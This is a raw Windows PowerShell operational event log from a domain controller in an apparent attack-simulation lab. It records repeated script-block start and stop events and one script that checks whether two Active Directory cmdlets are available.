EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478103
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478102
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478100
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478098
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478097
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478096
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478095
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478094
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478093
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478092
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478091
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478090
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478089
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478088
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478087
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478086
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478085
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478084
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478083
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478082
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478081
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478080
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478079
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478078
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478077
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478076
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478075
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478074
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478073
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478072
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478071
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478070
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478069
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478068
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478067
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478066
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478065
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478064
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478063
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478062
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478061
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478060
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478059
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478058
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478057
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05adceb7-2bfe-45a6-97b6-d5d24d7c919a
Runspace ID: 6d4e8167-00e7-4c12-b02b-7bfd394b2dd1
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478302
Keywords=None
Message=Started invocation of ScriptBlock ID: 05adceb7-2bfe-45a6-97b6-d5d24d7c919a
Runspace ID: 6d4e8167-00e7-4c12-b02b-7bfd394b2dd1
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478301
Keywords=None
Message=Started invocation of ScriptBlock ID: dd2a47ed-e90f-4a16-b784-ca6492825d96
Runspace ID: 6d4e8167-00e7-4c12-b02b-7bfd394b2dd1
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478300
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{if ((Get-Command "Get-ADDomain" -ErrorAction Ignore) -And (Get-Command "Get-ADGroupMember" -ErrorAction Ignore)) { exit 0 } else { exit 1 }}
ScriptBlock ID: dd2a47ed-e90f-4a16-b784-ca6492825d96
Path:
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478299
Keywords=None
Message=Started invocation of ScriptBlock ID: 1874a77a-91d5-41ae-b7a0-7444da113eed
Runspace ID: 6d4e8167-00e7-4c12-b02b-7bfd394b2dd1
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478298
Keywords=None
Message=Creating Scriptblock text (1 of 1):
& {if ((Get-Command "Get-ADDomain" -ErrorAction Ignore) -And (Get-Command "Get-ADGroupMember" -ErrorAction Ignore)) { exit 0 } else { exit 1 }}
ScriptBlock ID: 1874a77a-91d5-41ae-b7a0-7444da113eed
Path:
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1478297
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1478296
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 696 in AppDomain: DefaultAppDomain.
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
